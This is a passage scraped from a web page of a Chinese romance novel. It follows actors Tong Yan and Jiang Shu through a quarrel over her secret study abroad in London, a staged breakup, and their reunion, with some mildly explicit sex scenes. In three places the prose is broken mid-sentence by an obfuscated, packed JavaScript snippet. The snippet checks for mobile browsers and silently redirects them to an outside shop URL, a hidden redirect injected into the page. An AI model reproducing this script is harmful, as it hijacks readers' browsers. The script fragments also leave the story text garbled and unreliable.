童颜心里一软，鼻腔泛起些许酸楚，说不清是开心多一些，还是不满多一些，嗔怪的语气说：“江述，你对我，是不是从来不敢放肆？” 江述静静看着她，反问了一句：“这样不好吗？” 他真是语言交锋的高手。 不正面回答她的问题，反倒向她发问起来。 童颜与他认识多年，一直以来，江述都是冷静的、果断的，嘴不饶人、偶尔有点锋利，即便有时说话让人费解，多半也是充满自信和掌控感的。 然而今天，她忽然发现江述也有不确定的时候，下意识地与她周旋，只是不想太快泄露底牌，而让自己陷入被动。 他的爱，是小心翼翼的。 只不过平时，江述对她过分纵容和没有底线，让她逐渐习惯，并心安理得地享受他的宠溺，却没有想过，他为什么从不对她提出要求。 也许，他只是不敢。 童颜为这个发现而惊讶，还有点心疼。 她忽然不想继续捉弄他，起身跪坐着，郑重地亲了他一下，说：“不好。我不喜欢你克制，你也可以对我……为所欲为。”最后几个字，几乎是气声说出来的，就在他耳边。 他的呼吸滞了两秒，忽然坐起身，靠在床头，扶住她的颈，将她扣回身上，狠狠地碾上她的唇。 …… 两个半残的人，身残志坚地行了一场毫无章法的云雨。 这不是他们最畅快的一次，却是童颜最主动、也最投入的一次。因为她想给眼前这个人，最真挚热烈、毫无保留的爱意。 * 第二天，江述突然定了好几束花，有玫瑰、百合、向日葵、洋桔梗，每一束都很好看，但是……不年不节的，定这么多花做什么呢？ 童颜懵着脸问江述。 他坐在沙发上看书，闻言头也没抬，说，熏屋子。 童颜感觉很无语，也只能从储藏室翻出几个瓶子，装满水，把花都插起来。 客厅、卧室、厨房、卫生间……有空地的位置都摆上了花。 午饭后，他们窝在沙发上看电视。 播的是童颜的剧《灿烂的她》，前段时间被骂惨，她一直没敢细看。 今天看了半集，感觉还不错，她给自己的表现打7.5分，问江述：“你觉得合理吗？” 江述想了想，说：“低了，我觉得有8.5分。” “哼！”童颜忽然拍了他一巴掌。 江述一头雾水：“嫌低了？8.5已经相当不错了。” “你应该打10分！”童颜气呼呼地说，“你现在是评委吗？是我男朋友！” 江述恍然大悟，将她扣在怀里，抵着她额头哄道：“知错。下次我说12分，行吗？” “这还差不多。”童颜傲娇地横了他一眼。 玩笑归玩笑，实话说，她的表演还是有不少问题的。有的地方处理得太过套路化，有的情绪也不够饱满，她看得有些尴尬，就没法再集中精神。 视线瞟到电视柜上的花——魏子铭送的那一束——童颜脑中灵光一现，瞬间回过味儿来。 “我知道你为什么买花了。”童颜气得打他，“你这个大醋包！” 江述不承认，慢条斯理地说了句：“想多了。” “我去把那束花也插起来。”童颜故意说。 她作势起身，却被江述扣在怀里：“不许插！” 童颜偷偷抿嘴笑：“那你说，你是不是大醋包！” 江述暗暗咬牙，见她仰头一脸揶揄，不由亲了上去。 “你尝尝，是酸还是甜。” * 银杏叶黄了又落，枝头鸟雀无处藏身，三五成群地卧在高枝上，晒着足够明亮却不够温暖的太阳。 在家养伤的一个月里，江述和童颜几乎日日相对，须臾不离，却没有哪一刻感到无聊。 江述时不时线上处理工作，录个视频，或者看看剧本，关注下股票。 童颜忙着经营她的抖音账号。 她经常录制女明星好物开箱视频，或者跟着最时兴的抖音热梗跳舞，账号很有可看性，加上恋情官宣的缘故，这三四个月里，涨了一千多万粉丝。 有时评论区骂的太难听，她忍不住回怼，然后被截图出去，就是一轮小风波。 总体上，生活是平淡而充实的。 期间，林慧心给她递过几个本子，童颜看完都拒绝了。 倒不是没有挑出好的，譬如追光主投的一部古装剧，配置和剧本都不错，但她不想进。 林慧心十分不解。 如今好不容易有了点起色，还不抓紧机会进组，等着被人遗忘吗？ 童颜沉默了一会儿，说：“我有自己的考虑。” 她没有多说。其实是不想受潘秋生的恩惠，因为她知道，江述很不喜欢欠人情，她不能让他在潘家父子面前低下头。 想着，又说了一句：“心姐，我近期就不接新工作了，之前的作品宣传、广告代言之类的，也帮我收收尾吧。” “怎么，你打算休长假？”林慧心更不解了。 童颜笑笑，说：“差不多，过段时间再跟你说。” 她想先和江述说，但一直没找到合适的机会，跟他在一起，总是气氛太好，她不想扫兴，几次话到嘴边却又咽了回去。 结果还没等到她开口，江述就发现了。 那天，他们各自抱着电脑，在影音室的沙发上坐着。江述在看外网资讯和股市行情，童颜在处理邮件。 中间她去卫生间，把电脑放在了沙发上，再回来的时候，就见江述抱着她的电脑。 他缓缓抬头，问她：“在医院时，你要跟我说的，就是这件事？你要出国留学？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731669|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他的神色异常冷峻，声音却十分平静，童颜心里不由一慌，慢慢走到沙发前坐下，把电脑放到一边，抓住他的手说：“你别生气。” “如果我没发现，你打算什么时候告诉我？上飞机前？” “不是。之前学校没出最终结果。”童颜垂下眼，不敢看他，“本来打算这两天跟你说的。” 今年八月份，童颜申请了英国皇家戏剧艺术学院的戏剧实验室项目，经过三轮线上面试，这周收到了录取通知。 “我本来没抱什么指望，就是随便申请的。”她又补了一句。 江述问：“去多久？” “大概要……两年。” 江述难以置信地与她对视，一再地以眼神确认，他是不是听错了。 童颜心虚地低下头。空气开始凝结，他突然站起身，抓起拐就走。 “你小心！” 童颜忙过去扶他，却被他抬手挡住了：“我需要冷静冷静。” 她从来没见过江述这个样子，仿佛体内有一座火山，已在爆发的边缘，脸色却冷得好似结了冰。 童颜慌得厉害，从背后抱住了他，手臂紧紧环着他的腰，小心翼翼地说：“你有脾气就当着我发出来，别一个人怄。” “我发火，你能不去吗？”他问。 童颜没有说话，江述转过身来，找她的眼，又问了一遍：“我发火，你能不去吗？” 她被他盯得浑身发毛，垂下眼说：“我不知道。” 静默几秒，他说：“我知道了。” 童颜试图缓和气氛，抓起他的衣袖，撒娇说了句：“我都不知道，你知道什么呀……” “我知道，你要离开我了。”他看着她，眼中满是绝望，像碎了一地的镜子，玻璃渣子散发着冰凉又锋利的光，“为什么，童颜？” 被问的人惶恐又无措，紧紧抱着他说：“我没有要离开你。只是想换个环境待一段时间，也想进修一下演技，你知道的，我不是科班出身，这点技术都是东一榔头西一棒槌跟别人学的，我想系统地提升自己。我以为，你会支持的……” 江述突然笑出来，极短促的一声。 童颜仰头看他。 “你这么说，是将我一军。如果我不同意，就是不够理解你支持你。不对，”他又自嘲地笑了一下，眼睛都红了，“你根本没有征求我的同意。” 童颜的眼眶顿时涌满了泪，拼命摇头：“不是这样……” 江述直接打断她：“你自己申请了学校，自己参加了面试，还抽空把雅思考过了，现在录取通知书都到手了，我才知道。你不需要我同意，只是来知会我一声……我真是个傻子。” “不是这样的！你不能这么说我江述，我只是、只是没找到机会跟你说，我打算跟你商量的。” 童颜混乱地辩解，话说出口，自己都觉得站不住脚，尾音也渐渐低了下去。 “两年……”江述仰了仰头，惨笑一声，“七百三十天、一万多里地，老天……” 童颜没想到他这么大反应，忐忑地叫了他一声：“江述……” “放开我。”他冷冷地说。 她揪着他的衣服，没动。 “放开我！” 他突然失控地吼了一声，嗓音是她从来没听过的冷酷，通红的双眼盯着她，吓得她急忙缩回手。 江述毫不犹豫地转身，离开了家。 47. 请罪 江述走后，童颜一个人坐在客厅沙发上，茫然地发了很久的呆。 脑子里乱哄哄的，似乎想了很多事，思绪一停，又不知道刚刚在想什么。 待心情平静了点，她给江述发微信，问：「你去哪了？」一直没收到回复。又打电话，拒接。 童颜忽想起他们开着手机定位共享，急忙打开定位软件，江述的头像正在移动，位置是市郊的方向。过了一会儿，头像忽然消失了。 童颜再打电话，提示无法接通。江述关机了。 等到晚上九点，江述仍然没回来。童颜给李正和晨星分别打电话，都不知道他去了哪。 天这么冷，他出门的时候就穿了个长袖T恤，腿上还打着石膏，万一冻病了或者摔伤了，可怎么好呢。 童颜再也坐不住了，开车出门去找。 但她没有目标，只能循着白天看到的最后定位，一路开了过去。 如她所料，江述不会在那个地方等她，童颜看着四周的山峰，彻底失了方向。 她忽然感觉很挫败，也有点委屈。 在方向盘上趴了一会儿，童颜掉头回了家，江述果然还没回来。她站在玄关，看着屋里的摆设，什么都没变，可就是感觉空荡荡的。 脑中蓦地闪过一个念头，童颜抓起钥匙，再次出了门。 她去了江述家。 他家不是智能锁，童颜没有钥匙，敲了敲门，没人应。但她莫名有种感觉，江述在里面。 她又敲了一阵儿，心里庆幸他家是独户大平层，否则邻居该报警说她扰民了。 童颜蹲在他家门口等了二十分钟，她想，江述大概不会开门了。 最后又不抱希望地敲了几下，她对门里说：“江述，你要是不想见我，就休息吧，我太冷了，先回去了。” 话音刚落，屋门打开了。 江述似乎刚洗漱完，穿着白色短袖，头发还湿着，脖子上挂了条灰色毛巾。 童颜抱膝靠坐在门边，小小的一团，仰头与他对视两秒，笑了笑说：“你果然在家。” 江述将拐靠在墙边，伸手去扶她。 童颜不敢让他用劲儿，自己撑着地起身。 她蹲太久，腿麻了，头也有点晕，刚站直就感觉一阵天旋地转，急忙扶住了墙。 江述已经揽住了她，虽一言不发，但力道很稳。 童颜眼眶一热，转身抱住了他，委屈地说：“我找了你一晚上。” 江述静了几秒，说：“进来。”她快冻成冰疙瘩了，身上的羽绒服触到他手臂的皮肤，冷得刺骨，“刚才在卫生间，开着水，没听见敲门。” “哦。如果你听见了，不会故意把我晾在门外，是不是？”她得寸进尺。 江述没说话，把她往门里带，顺手抓过门边的拐。 童颜搂着他手臂，相携走到沙发边。 “坐着。”他说了一句，就转身走到饮水机前，接了杯热水回来，递给她，“捂一会儿。” 童颜捧着水杯，瞄他：“你还生气吗？” 江述坐在沙发上，打着石膏的左腿朝前伸着，肩背塌陷下去，头枕在沙发靠背上，看着天花板。 他没有回答。 童颜放下水杯，挪到他身旁，蹬掉拖鞋，蹲坐到沙发上，脚尖碰上他的大腿外侧，双手握着他手臂晃了晃。 “我知错了，来跟你负荆请罪，你想怎么罚我都行，罚完就别生气了……” 她故意说得可怜兮兮，姿态卑微到底。 江述转头看她，四目相对，一时谁都没出声。 他想起今天从她家出来，打了个车，让司机一路往前开。头脑被巨大的震惊和怒火塞满了，等他回过神时，已经快出京界了。 而童颜，还在距他八十公里的身后。 八十公里，他已经很难接受了，她竟然敢去八千公里外的英国，两年。 “童颜，我对你来说，是可有可无的吗？”他语气很正常，似乎是认真求证。 童颜怔了怔，说：“当然不是！为什么要这么说……你明明知道，你对我很重要。” “我不知道。至少现在，搞不清楚了。” “我去留学，让你这么难以接受吗？”童颜问。 江述毫不犹豫地说“是”：“我接受不了，你不在身边。” 童颜听见这话，心里又甜又苦，默默咀嚼一番，说：“可是以前我们没恋爱时，也不是时刻都能见到，还有拍戏时，几个月见不到，也是有的啊。” “你拿现在跟以前比。”江述抚上她的脸，眼底泛起一丝疲惫，“你不能让我在习惯了山珍海味时，又被迫退回咸菜窝头。” 他这什么破比喻。 虽然此刻气氛很不合宜，童颜还是有点想笑，咬着嘴唇内侧忍住了。 “我到现在都想不通。你背着我申请留学……这完全不像你会做的事。为什么？” 童颜一向是心里藏不住事的性子，按她一贯的风格，留学这么大的事，早该忍不住吐露，或是试探他的看法了。 可她竟然瞒得滴水不漏，她是怎么做到的？ 江述有一种很强烈的失控感，仿佛风筝突然有了自己的想法，要挣脱丝线，飘到他看不见的地方去了。 这种感觉，比接受她离国万里，还要令他恐慌。 他如此想着，童颜却会错了意思，嘴巴一撅，恼道：“我在你心里，就是个不学无术的花瓶、没脑子的女明星，对吧！我就不能积极上进一回，这跟我的人设不符，是吧！” 她恼怒的样子也是可爱的，眼睛比平时还要亮，鼓着腮帮子，好像下一秒嘴里就要喷出火。 江述瞬间泄了气。 他拿这个喷火娃一点办法也没有。 可他不想这么快就递降书，于是仍然冷着脸，没有说话。 童颜是多么敏感的人，而且两人认识这么久，不光江述了解她，她也很了解江述。 了解他每种细微的神态和气场变化。 比如此刻，他虽然看上去冷着脸，但眼里的锐气收起来了，看她的视线从0度变成了10度，聚在眉心的一团凉雾也消散了。 童颜潜意识里察觉到他气势的回落，但这意识太弱，还来不及传到大脑，因此没有细琢磨，只凭着本能去应对。 “你这么看扁我！亏我还担心了你一天。太不是东西了！” 敌弱我就强，她很会拿捏他。 吵了这么久，童颜感觉全身冒火，三下五除二解开羽绒服脱掉，狠狠丢到沙发另一头，双臂抱膝，扭过脸，也不理他了。 一副“我生大气了你快点哄我，不然谁都别过了”的姿态。 江述都气笑了。 他仰头看着天花板，忽然叹了一声。 这轻轻的一声里，似乎包含了很多种情绪，有无奈，有不甘，还有佩服。 童颜不明所以，转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735579|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头睨着他。 “给我抱一下。”江述朝她伸着手臂。 童颜傲娇地转回头：“去抱你看得上的人吧，我不配！” 说完等了两秒，身边人没反应，她忍不住扭头瞟了一眼，见他就那么张着手臂，感觉她如果不下这个台阶，他下一秒就会撤回。 童颜心里一慌，急忙挪过去，搂住了他的脖颈，靠在他臂弯里。 “看在你有伤的份上。”她故意做出一副不情愿的模样。 江述抱着怀中人，埋在她颈窝处深深地呼吸。 “童颜，你不过就仗着，我比你爱得深。” 童颜确实感觉胜之不武，但她不能接受这个说法，在他肩窝蹭了蹭，不满道：“你又没用尺子量过，凭什么这么说？” 江述不语。 童颜仰头看向他，神色认真起来。 “我也不想离你那么远，背井离乡的。但是我在国内的处境，你是知道的。虽说最近有了点起色，但也保不齐是镜花水月。赵仕沅这次是谋杀，恐怕要牢底坐穿，等赵家腾出手来，还得搞我。还有我们公开恋情这事，你的粉丝闹得那么厉害，既然如此，我不如先淡出公众视野，去外面待一段时间，而且，我是真的想好好学学表演，不想再被人骂演技差了……你能理解我吗？” 她说的都有道理。 除了公开恋情这事，其他都是童颜需要独自经历和承受的，他能做的有限，既然如此，就不该拦着她，为自己找出路。 江述理智上能够理解她，感情上却不能接受，至少现在不能。 一想到这个古灵精怪的人，马上就要离他万里之遥，再不能随时想抱就抱，胸腔都酸胀起来了。 这滋味不好受，搂着她腰的手不由箍得更紧。 “童颜，我去伦敦陪读吧。” 他说了一句，语气不似玩笑。 童颜瞪圆了眼睛：“你自己工作不要了？！” “不要了。我是学金融的，干脆重操旧业，不做演员了，好不好？” “不行！”童颜气得拍了他一下，“你在说什么疯话。熬了这么久才熬出头，干嘛放弃呀！你都不知道，我有多羡慕你，有天赋，演什么像什么。我喜欢看你演戏，不许摆烂！” 江述忽然松开他，起身就往卧室方向走。 “欸，怎么又生气了呀！”童颜跳下地追他，张着手臂拦在他身前，“别生气了，跟我回家吧……” ……她好像个来丈母娘家哄媳妇的渣老公。 童颜无奈又好笑，他往哪边走，她就往哪边堵，最后干脆紧紧搂住他腰。 “回家吧，你的药都在我那，今天一天都没吃，你不想拆石膏了是不是？” 江述冷硬得像个石头，倒也没再躲开她。 童颜见他情绪有所缓和，急忙搂着他转身，半搀扶半强迫地，把他往门口推，到了沙发边，还不忘捡起他的外套。 二人回到家都凌晨了，江述径直进了卧室，一句话都没跟她说。 童颜有点头大，也有点无语。 她把药和热水放在卧室的边桌上，提醒他记得吃，然后就上楼去洗漱了。 收拾完回到卧室，江述平板板的躺在被子里，衣服随意丢在角落的圆形地毯上，移动边桌上放着水和药，不用试，水肯定凉了。 童颜在门口顿住脚，无语地望了望天花板上的灯。 着实没见过江述闹脾气的一面。 48. 表白 童颜先走到地毯边，把他衣服拎起来掸一掸，挂在衣架上，接着端起水杯，去洗手间倒掉，又回到客厅接了杯热水，再用凉水兑成温的。 回到卧室，捡起桌上的四种药，坐到床边说：“起来吃药。” 江述闭着眼，好像睡着了。 但童颜知道，他根本没睡。别问，问就是一种准到可怕的直觉。 “江述。”她叫他，声音有点大，带了两分火气，“你赶紧起来吃药！” 床上的人仍没睁眼，可脸上却显出几分怒意。 童颜：“……” 人闭着眼，仅靠脸部肌肉也能表达愤怒？他到底是怎么做到的啊！ 童颜震惊不小，放下水杯和药，摸出手机，打开相机，对着他的脸，咔嚓，拍了一张。 江述突然睁开了眼，把她吓一跳。 捂着胸口平复一会儿说：“怎么舍得睁眼了？哼！”见他神色不虞，又开始心虚，小声哄道，“吃药吧，我都困了……” 江述坐起身，接过药扔嘴里，又抓起杯子灌了一大口，塞回她手里。 然后就躺回去，又闭上了眼。 童颜：“……” 谁来告诉她，怎么哄这位千万年没发过脾气的神仙啊！ 童颜感觉，天花板上的灯快被她看碎了。 她把杯子放回桌上，默默爬上床，进到被子里，往他怀里钻。 江述没有抗拒，却也没有反应。 童颜枕着他的肩膀，弱弱地说：“别生气了，憋着气睡觉，伤肝。” 不理。 童颜凑过去，亲了亲他。 没反应。 童颜接着亲他，嘴巴、脸颊、额头……五官都照顾到了。 可这位大神像是元神离体，一点反应也不给。 童颜一怒之下嚷嚷：“你怎么这么难哄啊！比我还能作！” 江述睁开眼，颇有几分无语的神色：“我这就叫作了？你可太小看自己了。” 童颜噎了下，想想自己多少次十天半月不理人、拉黑删除一条龙的操作……好吧。 总之他肯开口说话，就好办。 童颜捧住他脸，撒娇说：“你不许再闭眼了！对不起嘛……你说怎么才能消气，我照做，行不行？” “自己想！”江述凉凉地甩了一句，倒是没有再闭眼，反正也没看她就是了。 “江述，你好幼稚哦。” 童颜忍不住说了句心里话，招来他“你还敢惹我”的一瞥，于是迅速在嘴上做了个拉拉链的动作。 她眼中染上笑意，趴在他胸膛上，轻快地说：“可是江述，我好爱你哦。” 某人嘴角漾起极淡的一缕笑，虽然转瞬即逝，还是被她敏锐地捕捉到了。 看来表白这招奏效。 童颜再接再厉：“不仅爱你帅气的外表，也爱你有趣的灵魂。我常常想，世上怎么会有江述这么完美的人呀！又会演戏又会唱歌还会弹吉他，学习好厨艺好脾气也很好，简直是女娲杰作、上帝宠儿！这么完美的人，竟然喜欢我，让我好得意啊……但是，也让我有点自卑。忍不住想变得和你一样好，想成为配得上你的女人，想得到所有人的祝福。江述，你能明白吗？” 她一开始有点胡说八道，后面越说越认真，话音落，眼中已泛起泪花，软软地对他撒娇：“述哥哥，别生我气了……” 最后这一剂猛药，终于融化了最后的一角寒冰。 江述猛地将她揉进怀里，声音里有细微的颤抖。 “童颜，你真的够狠。你怎么能这么对我……” 他们紧紧抱着对方，互相感受彼此胸腔的震动，童颜想抬头看看她，却被他拿手捂住了眼。 过了很久，情绪平复下来。 两双通红的眼睛彼此对视，江述微微抬起上身，捧起她的脸，珍重地吻上了她的额头，停留片刻，他声色低哑地说：“童颜，我会在你出国后的每一天，像今天一样想抱着你，亲吻你。你好好记住，欠我的这笔债。” 一句话再次逼出了童颜的泪。 * 元旦之前，童颜陪江述去医院拆掉了石膏。 骨头算是接上了，但也只是接上了，还不能行走自如，得用手杖撑着，慢慢恢复一到两周。 但已经很好了，至少，不用再让童颜帮忙擦身了，也可以更自由地抱她了。 这段时间，童颜有一部剧，在历尽波折后，终于播出了，她不得不开始跑宣传。 之前的品牌代言，在她出国之前，也需要多拍几支物料以备不时之需。 还有留学的材料要准备。 江述也在看新剧本，准备一个月后进组。有时外出参加活动，结束都凌晨了，怕打扰童颜休息，就回自己家住一夜。 两人待在一起的时间骤减，不能像之前一样每天黏着，但只要有时间，就会发微信、打电话。 一旦回到家，就不再处理工作，抓紧每一分钟相爱。 虽然他们没再提起出国的事，但每天醒来，都在心里倒数计时，距离2021年2月27日，还有多少天。 时间飞逝，转眼到了童颜出国前最后一天，也是新一年的农历元宵节。 江述的剧组放假一天，早上起来，先煮了元宵，跟童颜一人吃了一碗，然后两人开车出门。 他们先去了后海，在热闹的节日氛围里逛庙会，一路走一路买一路吃，便宜的珠串、花里胡哨的福袋、花灯，年糕、豌豆黄、臭豆腐……吃到肚子滚圆。 逛完庙会沿着西什库大街往南，穿过西长安街，去国家大剧院看演出，看的是舞剧《李白》，演出结束下午六点多，再沿着前门大街往天安门走。 红灯高悬，花市如昼。 他们牵着手，走在热气腾腾的人间烟火里。 到晚上十点，才开车返回。 结结实实逛了一天，童颜担心江述腿不舒服，虽然他坚称没事，她还是不放心，于是由她开车，他坐副驾。 童颜车技虽菜，胜在胆大，一路开得跟云霄飞车一样。江述几次忍不住出声提醒“小心”、“慢点”……终于在开到广渠门桥时，强制她停车换他开。 童颜不服气，坐在副驾上噘嘴：“我也是老司机了，你对我有点基本的信任好不好。” “你快歇着吧，太莽撞，到了英国，不许自己开车，尽量坐公共交通。”他沉声嘱咐。 一整天了，第一次提到英国，索性再多说几句。 “外面不如国内安全，夜里不要一个人出门，更不要一个人去酒吧，去人多的地方要戴口罩，平时不要戴太贵的首饰，免得被人盯上，背包里放个防狼喷雾，遇到不对劲就拨打紧急电话，号码都记得吧？” “记得记得……江婆婆快别说了。”童颜嫌他啰嗦，拍了拍他的肩说，“放心吧，我会保护好自己的。” 江述神色一暗，自语般说了句：“怎么放心。” 车里安静下来，一路再无别话。 回到家，两人各自去洗漱。头发都没有吹干，江述就将她抱到了床上。 几乎撕扯一般，剥掉了对方的衣服。 坦诚相见，江述却忽然放慢了节奏。一下一下亲着她，从额头，至脚背……他几乎以膜拜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740457|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情，虔诚而克制地亲吻她的每一寸皮肤。 童颜被他挑得全身起了燥意，春水泛滥成灾，抱着他喘息不已，甚至小声地恳求他。 江述抚摸着她的脸，瞳色深深看着她，仿佛要将这肌肤相贴的感觉烙印在脑中，任由她在波涛汹涌的浪花里沉浮挣扎良久，直到她难过又委屈地轻声啜泣，才终于将她拉回船上，顷刻送入巨浪之巅。 第二天，童颜自己打车去了机场。 他们说好的，不要江述送她，不然她肯定要哭的。 飞机从首都国际机场直抵希斯罗机场，下午一点四十五分出发，童颜十一点多到了机场，办完登机手续和行李托运，然后安检候机，坐在候机大厅时，离出发还有一个小时。 她给江述发微信，好久没回复，应该正在拍摄中。 无聊地刷了会儿手机，突然接到江述的电话，她开心地接起来，结果还没说话，就听江述气急败坏地说：“你在哪？” “在候机呀。” “我去找你！” “可是飞机快要起飞了，时间来不及……” “童颜！”她还没说完，就被他吼了一嗓子打断，“你拿我当傻子耍了一次又一次，好玩吗？” 童颜愣了一下，咬住了唇。 她可能大概知道，江述为什么会发火。 因为，她用微博小号向营销号曝了一个瓜——江述童颜分手，保真。 “你怎么知道是我？”童颜小声问。 江述直接甩了一张微博私信截图，是她今天早上给营销号发的爆料。 她自称认识童颜身边的工作人员，说江童两人在一起后经常吵架，加上粉丝骂战不休，他们扛不住压力，分手了，童颜马上要去英国留学。 营销号对此表示怀疑，说昨天还有网友看到两人一起逛庙会。她解释说，那是最后一次约会，两人当天就提了分手，江述不会送童颜去机场，你等着看吧。 这个爆料哪里有问题？江述为什么会认定是她做的呢？ 童颜盯着这张截图愣了一会儿，恍然。 是“江述不会送童颜去机场”泄了底。 这是他们昨晚睡觉前才定的，童颜纠结了好几天，终于还是决定不让他去送了。 如果是外人，怎么可能知道这种细节？ 童颜冷汗都下来了，嗫嚅道：“是我做的。” 她希望这个瓜闹得人尽皆知，尤其是赵家人，一定要看到。他们儿子的事，和江述无关，万万不要因为她，让江述也卷进漩涡里。 其实她一直没告诉江述，她决定赴英的最主要原因，就是不希望这时候和江述绑在一起。 粉丝骂战并不可怕，可怕的是资本报复，如果江述再遭遇一次不测，她可能会疯掉。 “你觉得这么做，是对我的保护，是吗？”江述问。 不用她讲出来，事已至此，他如果还看不明白，就不配说了解她。 极度压抑愤怒的喘息透过声筒传进耳朵里，童颜不由瑟缩。 “是我自作主张了，你不要怪我好不好。我真的，不知道还有什么办法，能让你避开可能发生的祸事。”她说着眼中流下泪来，“你帮我，把这件事做的真一点，不要去英国找我，不要告诉你身边的人，我们就当是真的分开，好不好？” 她极力咬着唇，屏着呼吸，试图掩饰抽泣。 江述沉默了很久很久，说：“童颜，你够狠。” “你让我……一败涂地。” 他说完这句，就挂断了电话。 童颜瞬间崩溃，站在人潮汹涌的候机大厅，大哭不止。 49. 回归 在天各一方的有情人心里，时光并不匆匆。讲过的话即便过去再久，依然清晰如昨。 江述说她狠心，童颜否认不了。 然而在伦敦流浪的一千多天里，每一个她的清晨，却已是他的午后。她无望地追赶永恒的时差，也常常在深浓的夜色里忍不住泣血。 “江述，我能和他说什么呢？说我在国外的每分每秒，都在想念你。说我心里空不出一点位置，可以留给他。说我这么爱你，你却能忍住五个月，不给我回应……” 童颜早已泪流满面。 江述身形僵了片刻，拉着她转过身，通红的双眼望向她，声音残破而嘶哑。 “童颜，我该拿你怎么办？”他不知如何控制胸中狂暴的火山，它时时刻刻都在喷发，将他体内的每一分理智都烧成灰烬。 当生的鲜活不足以证明爱的深刻，也许只有死的冷寂能代他讲述一切。 江述疯狂地吻上了她，残酷地剥开她，像一只绝望的孤狼般吞噬她。 “再也不许离开我……” 她泪如泉涌，委屈地抱紧他，混乱地回应他。 “江述，我是你的，永远是你的。” 时隔上千个日夜，他们再次触及彼此温暖的肌肤，这种感觉如此陌生，却又如此熟悉，灵魂在颤抖，全身的每一个毛孔都在替他们流泪。 委屈和思念沉积太多太久，早已分不出谁比谁更浓烈。 能出口的语言都太浅薄，只有抵死交融可堪滋润彼此干涸的内心。 一遍又一遍，直到东方既白，童颜睡了过去。 江述怀抱着她，脑子一片空白，什么都想不了。 十分明确的安全感填满了胸腔，这感觉太久违，他不舍去睡。 不知过了多久，他又开始亲吻她的脸颊，吮她粉嫩的双唇和纤细的脖颈。 也许是故意的。 童颜被他闹醒了。 惺忪的睡眼睁不开，她背对他，抬起发沉的手臂打了他一下，不满地哼唧，警告他不要吵她睡觉。 有人偏偏不如她意，又进去了。她浑身一个激灵，神志顿时清醒不少。 “别睡了。” 他箍着她……终于把她闹得睡意全消。 “你讨厌死了！” 童颜又羞又气，忍不住拿手肘杵他腰腹，却被他一把攥住，送到嘴边亲了亲。 揽着她转过身来，就着床围昏黄的灯光，看她如画的眉眼，痴痴地说了句“老天”：“真不知道我是怎么过来的……” 童颜咬了咬唇，“哼”了一声。 “你别给自己立这么深情的人设！我还没跟你算清呢，为什么五个月不理我！” 江述欲言又止片刻，轻声说：“就当我一时昏头，原谅我吧。” 童颜蹙眉，眼中闪过怀疑的神色：“你不是……勾搭上别的狐狸精了吧？” 被子底下遭了他一巴掌。 “你又家暴！”她嘟着嘴，边嚷嚷边打他。 “没有别的狐狸精，只有怀里这只。”他浅浅弯起嘴角。 童颜却不罢休：“快点说实话！”她揪着他两腮的肉，气呼呼说。 江述拉下她的手，环在他腰间，沉默了一会儿，说：“五个月前，你在伦敦见过谁？” “嗯？”童颜皱眉思索。 五个月前……就是八月份，她参与的一个电影拍摄项目杀青，回到学校，同学和教授给她举办了小型的回归Party，然后就继续上课了，没见过什么特别的人啊……不对，想起来了。 “潘昀？”她试探着说。 江述顿时沉了眉眼，气息都凉下来了：“你不仅见了他，还跟他喝了酒，笑得花枝招展！”他越说越生气，手指掐着她的脸，“见他就那么开心？！” 童颜眨巴着眼，呆了片刻，抿着嘴笑了起来。 “你吃醋了？江述，你是不是气死了？” 江述冷着眉眼，松开抱她的手，翻身躺平。 童颜笑着凑过去，趴在他胸膛上，撒娇说：“他跟我学校一个同学认识，听说有Party，就来凑热闹，我也不知道他会来……那，同学们精心准备的派对，我总不能丧着脸吧。” 她解释了几句，见江述神色有所缓和，又说：“而且我的同学都来自别的国家，就我一个中国人。别说是潘昀，就是中国的狗来了，我都想抱着它亲一亲。江述，我真不是故意对他笑的……”她说着攀上他肩头，亲亲他下巴，“我以后就对你笑，对其他人都摆臭脸，好不好？嗯？嗯？” 江述终于装不下去，伸手搂住了她。 静了片刻，童颜突然“咦”了一声：“你怎么知道我见潘昀了？”她疑惑地盯着他的眼睛，片刻，难以置信道，“你不会……也在伦敦吧？！” 江述没说话。也没有多余表情。 不用问了。 “你怎么会去伦敦？不对，你去了为什么没见我？”童颜支着手肘，撑起上身，皱眉看他。 “不是你说，让我帮你做真一点的吗？” 童颜噎了一下。 是哦，是她先摆了他一道，不许他来找她。 可还是好委屈。 她忽然推开他，背过身躺下去。 江述叹息一声，揽住她腰：“你说过，只待两年，已经超了四个月，还是没有归期，而且对着其他男人笑得那么漂亮，我那时真的，有点恨你。” “所以你故意惩罚我？”童颜抽了抽鼻子。 江述亲亲她耳垂，求饶：“就当我一时昏头，原谅我吧。” 童颜默了片刻，说：“伦敦的中餐好难吃。” 